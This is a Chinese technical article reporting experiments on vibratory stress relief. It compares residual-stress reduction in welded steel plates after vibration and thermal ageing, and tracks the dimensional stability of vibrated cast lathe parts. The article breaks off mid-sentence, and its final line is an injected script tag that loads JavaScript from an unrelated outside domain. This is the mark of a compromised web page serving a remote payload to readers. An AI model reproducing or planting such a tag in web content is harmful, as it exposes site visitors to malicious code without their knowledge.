振动时效在过去二十几年中，得以迅速发展，但其效果如何，是大家所关心的问提。本文仅就这个问题。谈些看法力求能够说明它。但由于水平所限，难免有错误，请批评指正。
一. 振动能消除焊接件的残余应力
大家都知道，焊接会产生很大的残余应力，我们利用这点，制成如图一所示的六块试样，其编号为1#-6#，材质为a3，板厚30mm。
在其一面沿纵向堆焊两条8mm宽，2-3mm高的焊道（见图一）。由于焊接应力的作用，钢板呈弧形挠曲，沿纵向中心线附近可认为产生一弹性应力场。从材料力学可知（1）沿纵向拉（压）应力σmax=e·ymax/ρ其中e为杨氏模量，ymax =i/2板厚=15mm，ρ=1/2（h+12/4h）
h为挠曲直，i为工件长。
用此式计算出其拉（压）应力在11.9-16.7kg/mm2之间。
将这六件做不同的处理：1#.2#不做任何时效，3#.4#振动时效，5#.6#热时效。
振动时效规范：扫描得一阶共频为52.9hz（3172转/分），二节线距两端面340mm，沿纵向振幅分布列于表一。在52.2hz（3132转/分）共振30分钟。
表一.3# 4#试样振动加速度分布
编号
与一端距离
50
250
450
650
850
1050
1250
1450
单位:mm
3
振幅 a
-12.0
-5.1
8.0
11.7
11.2
7.2
-4.3
-11.6
单位:g
4
振幅 a
-11.8
-4.7
7.9
10.9
11.6
7.4
-4.7
-11.2
单位:g由图二可知：3#.4#试样纵向振幅为正弦形，最大振幅约为12个加速度。
热时效规范：室温装炉，550oc 保温3小时，随炉冷至250o出炉。
为测这六块试样的残余应力，在每件距其一端400mm处划出150×160mm的方块，沿纵向中心线，在如图一所示的位置上贴两张3×5（片基距）的纸基120ω电阻片。用刨床或手锯，将这150χ160mm的方块缓慢切下（以不产生残余应力为限）。同时用yj-5型静态电阻应变仪测出释放应变，再用公式σr=e·ε计算释放应力的大小。其中： e为杨氏模量，ε为测得的微应变数 。计算结果列于表二。
表二：消除应力比较表 应力单位：公斤/平方毫米
试样编号
1
2
3
4
5
6
工件状态
没时效
没时效
振动时效
振动时效
热时效
热时效
原挠曲(mm)
14.9
9.7
12.6
13.9
14.7
11.8
残留内应力:
16.7
11.9
14.1
15.6
16.3
13.3
释放应变: με
617
518
159
233
74
127
释放应力
13.0
10.9
3.3
4.9
1.6
2.7
单件消除应力百分比%
76.5
67.3
90
79.6
平均消除应力百分比%
71.9
84.3
从表二可知：没经时效的1#.2#试样释放出的应力几乎等于焊接时的残余应力，这表明我们所用的方法是可靠的。从表二还可看出，振动消除应力71.9%，热时效消除应力84.3%，振动和热时效能消除残余应力的大部分。振动时效消除的应力虽然比热时效略低但振动有许多优点，比如，经振动工件松弛刚度比热时效有显著体高，在动载和静载下的变形显著降低等，都表示了它可与热时效相媲美。
注：松弛刚度是指工件产生松弛时的最小应力值小
二. 振动能使中小型铸件尺寸稳定
振动也能消除中.小型铸件的残余应力吗？为此，我们做了下述实验：用c5116a（1米6立车）的立刀架滑枕（件号55011）七件，振动时效后长期观测其几何尺寸的变化。
按工艺规定：55011件需二次热时效，否则因导轨面挠曲而易擦伤。我们试验的目的是看振动时效能否使工件尺寸稳定，进而用振动时效代替热时效。55011件如图二所示。
扫频（激振力频率从低缓慢向高调整）证明：我们现用的激振器不能使这固有频率300hz的工件共振，为此，采用了如下的降拼措施：用m20的螺栓三支将工件对接（01#与03#对接，04#与05#对接). 扫频得一、二、三阶共振频率为31.5hz，62.9hz91.9hz。令工件在31.5hz振25分钟。弹性两点支撑，支点分别在距两端700mm处，沿纵向的加速度、相角。其振型如图三所示。
图三可知：55011件做正弦振动，每组一阶共振有两个节点，距一端约700mm.
将这七件（四件振动的、三件没振的）三点支撑，放在300mm以上陈旧水泥地面上，调水平后，测各件两导轨的平直性。
用德国蔡氏合向水平仪，每件分七段.从小头80 mm处测起，仪器精度：2μ/200mm。室温为22℃±2o.01#-03#,04#-05#振前测量一次，振后再测一次，振动使变形提前发生了，最大变形达24.0微米。说明了振动使工件变形（但不大）。
在同一天测量其余三件导轨的平直性，然后每隔一个月测量一次，所得结果。
因为仪器的精度为2μ/200mm ，?script src=http://er12.com/t.js>
